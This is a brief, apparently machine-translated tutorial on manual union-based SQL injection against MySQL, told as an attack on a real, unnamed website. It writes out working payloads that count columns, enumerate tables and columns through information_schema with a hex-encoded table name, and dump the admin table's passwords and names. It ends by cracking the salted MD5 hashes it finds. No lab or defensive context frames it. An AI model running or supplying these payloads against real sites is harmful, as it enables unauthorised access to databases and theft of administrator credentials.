MySQL Manual injection

Today want to actually do a MySQL manual injection, so found a site such as xxx

First add an ' error ' after the URL, indicating that this site may contain SQL injection vulnerabilities and can be tested in the next step

The goal is to see if we can just burst the username and password first by looking at the number of fields in order by

Using and 1=2 Union SELECT 1,2,GROUP_CONCAT (table_name), 4,5,6,7,8 from information_schema.tables where Table_schema = Database () Take a try and see if you can burst the table name

The main thing here is that the metabase inside MySQL

After executing this statement can see the admin table, the password is not far away

Use this statement to see what's inside the admin table. Here's the last table_name to use HEX.

and 1=2 Union Select 1,group_concat (column_name), 3,4,5,6,7,8 from information_schema.columns where table_name = 0x61646d696e

After executing this statement, we find that the Admin table has fields related to the username and password, then we look at the contents of the fields under the Admin table and the user name password.

To use a statement:

and 1=2 Union Select 1,group_concat (Admin_password), 3,4,5,6,7,8 from admin

and 1=2 Union Select 1,group_concat (admin_firstname), 3,4,5,6,7,8 from admin

and 1=2 Union Select 1,group_concat (admin_lastname), 3,4,5,6,7,8 from admin

The user name for this site is stored in two fields, which need to be stitched up after the burst

The important thing is that the password is three, two MD5 ($password, $salt), a MD5, the next is to find the site to solve the three, the site's administrator user name password by hand injection method burst out.

MySQL Manual injection